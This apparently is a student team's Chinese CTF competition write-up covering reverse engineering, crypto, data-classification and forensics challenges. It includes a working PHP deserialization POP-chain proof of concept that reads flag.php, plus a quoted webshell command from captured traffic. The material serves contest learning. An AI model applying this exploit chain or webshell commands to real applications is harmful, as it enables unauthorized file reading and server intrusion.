TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

霍雅

追求源于热爱,极致源于梦想!
网站页面

2026年广东省大学生计算机设计大赛“网络与数据安全挑战赛” 决赛广东职业技术学院wp

2026-07-08
/
0 评论
/
518 阅读
/
正在检测是否收录...
07/08

解题情况

Reverse

MySignature_1

把反调试nop掉

直接ponce模拟执行

Ponce是一个ida插件的模拟执行框架,类似于插件版的angr

Reverse2(赛后)

这题比赛时候没时间写,比赛分析了个大概

主要是才100分,不太划算

以下分析为赛事时分析,直到出现赛后才是赛后分析

做ah的题,可以直接搜索tls 绝大多数情况下都会有

然后就是无聊的花指令

xor eax eax

jz +2

这种

tls里面有个反调试,如果在调试中秘钥会被替换成xixixx

理论上到这里我patch能直接模拟执行秒,不知道为什么模拟执行给我的是无解

然后我去分析了一下是个rc4,用了常规rc4方法就没继续看了

他这里还有个类似于cannry,乱patch会导致堆栈不平衡

所以我们改cmp eax ,0就可以了

看main可以看到

校验长度和flag头以及密文

算法是rc4

这个当时我看了一眼是随机数算法

但是他并不是伪随机我就当时没管,以为是和cannry一样的什么初始化

我还特意看了一下这个dword的前几个函数都是本函数

没仔细看最后一个

所以边分析边改名是好习惯

当时就做到这里

这以下是赛后分析

mlgb,傻逼题,和tm去年的一样傻逼题

这个随机数影响rc4的key

而且这个随机数是真随机数,所以我模拟执行才无解,

你必须程序check的时候随机数刚好一样,才能check正确

我们分析rc4的魔改点,把xor魔改成+=

同时去xor了一个dword_E5A1B0[i % 6]

ksa并没有魔改

所以我们可以先生成一个ksa然后去和DASCTF去相减

再通过xor ksa得到dword_E5A1B0

因为函数原型直接c的,所以用c写会更方便

调试了一段时间,垃圾代码没有删除

凑合看吧

#include <stdio.h>
#include <windows.h>
#include <time.h>
#include <utility>
#include <algorithm>
#include <stdint.h>
#include <stdlib.h>
int dword_E5A1B0[6];
int dword_E5A158[21];
int dword_E5A008[4];
unsigned int Seed=0;
char Destination[] = "DASCTF";
// attributes: thunk
__time64_t __cdecl time64_w(__time64_t* Time)
{
    return _time64(Time);
}
// attributes: thunk

int __cdecl rc4dec(char* Str, int n44, uint8_t* a3)
{
    int result; // eax
    int i; // [esp+10h] [ebp-Ch]
    int v5; // [esp+14h] [ebp-8h]
    int v6; // [esp+18h] [ebp-4h]

    v6 = 0;
    v5 = 0;
    result = 0xCCCCCCCC;
    for (i = 0; i < n44; ++i)
    {
        v6 = (v6 + 1) % 256;
        v5 = (v5 + a3[v6]) % 256;
        std::swap<uint8_t>(a3[v6], a3[v5]);
        Str[i] -= LOBYTE(dword_E5A1B0[i % 6]) ^ a3[(a3[v5] + a3[v6]) % 256];
        result = i + 1;
    }
    return result;
}
int __cdecl j_T_000_sub_3318A0(char* Str, int n44, BYTE* a3)
{
    return rc4dec(Str, n44, a3);
}
int sub_E515E0()
{
    int result; // eax
    int v2; // [esp+14h] [ebp-20h]
    int i; // [esp+18h] [ebp-1Ch]
    int j; // [esp+1Ch] [ebp-18h]
    int v5; // [esp+20h] [ebp-14h]
    int v6; // [esp+24h] [ebp-10h]
    int k; // [esp+28h] [ebp-Ch]
    int v8; // [esp+2Ch] [ebp-8h]

    v2 = 0;
    dword_E5A1B0[0] = 22;
    
    
    for (i = 1; i <= 20; ++i)
    {
        dword_E5A158[i] = dword_E5A008[i % 4] + Seed;
        if (v2 > dword_E5A158[i])
            v8 = v2;
        else
            v8 = dword_E5A158[i];
        v2 = v8;
    }
    result = Seed;
    for (j = 0; j < 6; ++j)
    {
        v5 = 0;
        v6 = Seed;
        for (k = 0; k <= 20; ++k)
        {
            if (dword_E5A158[k] >= 0)
            {
                v5 = dword_E5A158[k];
                break;
            }
        }
        result = (20 * dword_E5A1B0[j] + v5 + v6 + 3 * j) % 32;
        dword_E5A1B0[j] = result;
    } Seed += 1;
   
    return result;
}

int sub_E51064(void)
{
    return sub_E515E0();
}
// attributes: thunk

int __cdecl sub_E517D0(char* xixixx, int n6, uint8_t* a3)
{
    int result; // eax
    int v4; // [esp+Ch] [ebp-8h]
    int i; // [esp+10h] [ebp-4h]
    int j; // [esp+10h] [ebp-4h]

    v4 = 0;
    for (i = 0; i < 256; ++i)
    {
        a3[i] = i;
        result = i + 1;
    }
    for (j = 0; j < 256; ++j)
    {
        v4 = (xixixx[j % n6] + v4 + a3[j]) % 256;
        std::swap<uint8_t>(a3[j], a3[v4]);
        result = j + 1;
    }
    return result;
}
int __cdecl sub_E5119F(char* xixixx, int n6, BYTE* a3)
{
    return sub_E517D0(xixixx, n6, a3);
}
int __cdecl main(int argc, const char** argv, const char** envp)
{
    char v4; // [esp+0h] [ebp-224h]
    char v5; // [esp+0h] [ebp-224h]
    int i; // [esp+Ch] [ebp-218h]
    BYTE v7[260]; // [esp+14h] [ebp-210h] BYREF
    BYTE v9[52]; // [esp+120h] [ebp-104h]
    char Str[204]; // [esp+154h] [ebp-D0h] BYREF

    sub_E51064();
    v9[0] = 13;
    v9[1] = -41;
    v9[2] = -5;
    v9[3] = 5;
    v9[4] = -32;
    v9[5] = -18;
    v9[6] = 13;
    v9[7] = -105;
    v9[8] = -92;
    v9[9] = -17;
    v9[10] = 96;
    v9[11] = 20;
    v9[12] = -29;
    v9[13] = -96;
    v9[14] = 41;
    v9[15] = -117;
    v9[16] = 74;
    v9[17] = 55;
    v9[18] = -20;
    v9[19] = 83;
    v9[20] = -66;
    v9[21] = -48;
    v9[22] = -46;
    v9[23] = -8;
    v9[24] = -83;
    v9[25] = 19;
    v9[26] = 96;
    v9[27] = -89;
    v9[28] = -58;
    v9[29] = -60;
    v9[30] = 96;
    v9[31] = 113;
    v9[32] = -43;
    v9[33] = 85;
    v9[34] = 113;
    v9[35] = 19;
    v9[36] = 62;
    v9[37] = -1;
    v9[38] = 29;
    v9[39] = -6;
    v9[40] = 18;
    v9[41] = 0x80;
    v9[42] = -29;
    v9[43] = 41;
    uint8_t S[256];
    sub_E517D0(Destination, 6, S);
    

    int j = 0;
    i = 0;
    uint8_t keystream[44];
    for (int k = 0; k < 44; ++k) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        std::swap(S[i], S[j]);
        keystream[k] = S[(S[i] + S[j]) % 256];
    }

 
    char P[] = "DASCTF";
    for (int k = 0; k < 6; ++k) {
        int diff = (v9[k] - P[k]) & 0xFF;
        dword_E5A1B0[k] = diff ^ keystream[k];
    }

    
    sub_E517D0(Destination, 6, S);  
    rc4dec((char*)v9, 44, S);       
    for (int k = 0; k < 44; ++k)
        printf("%c", v9[k]);
    printf("\n");


}

主要是真没时间,除了web都是我一个人打的,好久没打ctf手生了

Web

1.Code share

签到题

Ctrl+u就有flag

2.Pooop

很简单的php反序列化

打开题目能看到源码,复制到本地进行调试

有三个类,FileReader,DataProcessor,OutPutHandler
首先FileReader里面写了一个read方法,判断文件是否存在,存在则读取并且输出

但是这个方法不会自动调用,继续找利用点

在DataProcessor可以发现有个process方法,DataProcessor的成员变量reader的read方法,是Public,可控,传入FileReader作为reader的值,即可调用FileReader的read,再继续找哪里调用了process
在DataProcessor的__tostring有发现调用,__tostring是一个魔术方法,在对象当作字符串输出时会触发调用,接下来找一个输出点即可,把DataProcessor对象作为输出内容即可

往下找到OutPutHandler,发现有个render方法进行了输出

输出的内容是processor,一个public的成员变量
创建一个DataProcessor的对象传入即可,触发输出(__tostring调用)
再往下可以发现__destruct调用render,__destruct在程序结束时会自动调用
由此形成闭环
__destruct调用render,render触发__tostring调用process,process调用read,read读取flag.php

以下是POC脚本

<?php
//flag in flag.php

class FileReader {
    public $filename;
    public $content;

    public function __construct($filename = '') {
        $this->filename = $filename;
        $this->content = '';
    }

    public function read() {
        if (file_exists($this->filename)) {
            $this->content = file_get_contents($this->filename);
            echo $this->content;
            return $this->content;
        }
        return null;
    }

    public function __toString() {
        return $this->content;
    }
}

class DataProcessor {
    public $reader;
    public $data;

    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }

    public function process() {
        if ($this->reader !== null && method_exists($this->reader, 'read')) {
            return $this->reader->read();
        }
        return null;
    }

    public function __toString() {
        return $this->process();
    }
}

class OutputHandler {
    public $processor;
    public $format;

    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }

    public function render() {
        if ($this->processor === null) {
            return '';
        }

        $output = $this->processor;

        if ($this->format === 'html') {
            return '<pre>' . htmlspecialchars($output) . '</pre>';
        }

        return $output;
    }

    public function __destruct() {
        $this->render();
    }
}

$FR=new FileReader('flag.php');
$DP=new DataProcessor($FR,123);
$OH=new OutputHandler($DP,'html');
$a=serialize($OH);
echo $a;
unserialize($a);
?>

反序列化后,Flag需要ctrl+u查看源代码得到

Misc

1.easyResQ

使用流量分析工具

打开发现是base64,很明显的zmxh

整理一下

2. Protocol _decryption

请求http返回了一些文件

其中有个pyc

pyc用pycdc.exe解码
可以发现是base64换表

命令执行的包

有cat flag

Crypto

ez_stream

flag = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]

t = flag
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
key='love'
for i in range(256):S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):j=(j+S[i]+K[i])%256;S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(t)):i=(i+1)%256;j=(j+S[i])%256;S[i],S[j]=S[j],S[i];t[k]^=S[(S[i]+S[j])%256]

print(t)

# [68, 65, 83, 67, 84, 70, 123, 114, 99, 52, 95, 105, 115, 95, 101, 97, 115, 121, 125]

rc4直接用原始算法

解出是hex,直接随波逐流懒得写代码 了

crypto-rsa-1-2

e很小,低加密指数攻击

直接上板子

import gmpy2
import libnum

def de(c, e, n):
    k = 0
    while True:
        mm = c + n*k
        result, flag = gmpy2.iroot(mm, e)
        if True == flag:
            return result
        k += 1
n= 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
e= 2
c= 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961

m=de(c,e,n)
print(m)
print(libnum.n2s(int(m)).decode())

3 double_rsa

ai一把梭



import gmpy2

from Crypto.Util.number import long_to_bytes

# Replace the following with actual values from the challenge

h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081

c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821

n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521

phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632

c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240

n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231

# First part: factor n1

D = (h - 1)**2 + 4 * n1

sqrtD = gmpy2.isqrt(D)

# The problem guarantees D is a perfect square, so no adjustment needed

q1 = (1 - h + sqrtD) // 2

p1 = n1 // q1

phi1 = (p1 - 1) * (q1 - 1)

d1 = gmpy2.invert(65537, phi1)

m1 = pow(c1, d1, n1)

m1_bytes = long_to_bytes(m1)

# Second part: factor n2

sum_pq = n2 + 1 - phi

discriminant = sum_pq**2 - 4 * n2

sqrt_disc = gmpy2.isqrt(discriminant)

p2 = (sum_pq - sqrt_disc) // 2

q2 = (sum_pq + sqrt_disc) // 2

# Find e2 as the previous prime of q2

def prev_prime(n):

    while True:
    
        n -= 1
    
        if gmpy2.is_prime(n):
    
            return n

e2 = prev_prime(q2)

d2 = gmpy2.invert(e2, phi)

m2 = pow(c2, d2, n2)

m2_bytes = long_to_bytes(m2)

# Combine m1 (first half) and m2 (second half) to form the flag

flag = m1_bytes + m2_bytes

print(flag)

DS

dataTypeV

import sqlite3

import csv

import re

def classify_value(value):

    """根据规则判断字符串类型(name, phone, idcard, email)"""
    
    s = str(value).strip()
    
    if not s:
    
        return None
    
    # 1. 身份证号 (18位,前17位数字,最后1位数字或X)
    
    if len(s) == 18 and s[:17].isdigit() and (s[17].isdigit() or s[17].upper() == 'X'):
    
        return 'idcard'
    
    # 2. 手机号 (11位纯数字)
    
    if len(s) == 11 and s.isdigit():
    
        return 'phone'
    
    # 3. 邮箱 (包含@且@后有.,格式如 [email protected])
    
    if '@' in s and '.' in s and s.index('@') > 0 and s.index('@') < len(s) - 1:
    
        domain_part = s[s.index('@')+1:]
    
        if '.' in domain_part and domain_part.index('.') > 0:
    
            return 'email'
    
    # 4. 姓名 (2-4个中文字符,不包含特殊符号)
    
    if 2 <= len(s) <= 4 and re.search(r'[\u4e00-\u9fa5]', s):
    
        return 'name'
    
    return None

def main():

    # 连接数据库
    
    conn = sqlite3.connect('data.db')
    
    cursor = conn.cursor()
    
    # 获取所有表名
    
    cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
    
    tables = [table[0] for table in cursor.fetchall()]
    
    results = []
    
    # 遍历所有表
    
    for table in tables:
    
        # 获取表列信息
    
        cursor.execute(f"PRAGMA table_info({table});")
    
        columns = [col[1] for col in cursor.fetchall()]
    
        # 遍历所有列
    
        for col in columns:
    
            # 查询该列所有非空值
    
            cursor.execute(f"SELECT {col} FROM {table} WHERE {col} IS NOT NULL;")
    
            for row in cursor.fetchall():
    
                value = row[0]
    
                # 尝试分类
    
                typ = classify_value(value)
    
                if typ:
    
                    results.append((typ, str(value)))
    
    # 保存到CSV
    
    with open('result.csv', 'w', newline='', encoding='utf-8') as f:
    
        writer = csv.writer(f)
    
        writer.writerow(['type', 'value'])
    
        writer.writerows(results)
    
    print("分类完成,结果已保存至 result.csv")

if __name__ == "__main__":

main()

easyEzdata(赛后)

第一个包可以看到substr 2

也就是把这个对应参数的base64前两位去掉

msL3Zhci93d3cvaHRtbC91cGxvYWQv变成L3Zhci93d3cvaHRtbC91cGxvYWQv

然后三个包

很明显的zip开头

接下来两个包拼接合并即可

接下来的包直接看关键的,看他返回的是什么

这个包出现了一个png

解出来是

cd "/var/www/html/upload";unzip 1.zip;echo [S];pwd;echo [E]

下一个包就是密码

改高度得到flag

结语

最后我想说的是,这次比赛真是人才辈出,我很欣慰广东能有那么多的高手,最后我们的分数是802分,全程断网打的,4个小时包括写wp的时间,最后我们的排名是16名,二等第一,虽然我们确实打的很烂。

然后我们学校第二队500多分只比我们落后四名,组委会给我们的解释是说,这次比赛断层很严重,大部分人都是800多分,第一名1000多分,第二名是900多分,剩下的就是500然后300这样

比赛过程中,组委会三次干扰我

第一次怀疑我出网

然后紧接着站我后面没多久查我电脑,查看浏览器、网卡、wifi之类的

第三次大概隔了20分钟问我是不是使用本地大模型,我说是的,他说他要拍个照问一下能不能用

后面好像派了个志愿者在后面看着我,具体我没注意,只是有人走到我们后面就没有走开,我没认真去看,因为时间很赶,我们是坐在最后

比赛过程中是开了屏蔽器的,我的无线鼠标是卡的,用的有线。

是的,我们赛场只干扰了我们,比我们成绩高的没有去干扰

对了,比赛全程是黑盒的,只能看到自己的分数,看不到排名,也看不到别人的提交情况

最后宣传一下自己的POFP联队吧,如果有想加入的,可以发邮件[email protected]

朗读
赞(1)
版权属于:

霍雅的博客

本文链接:

https://www.huoya.work/bk/index.php/archives/573/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月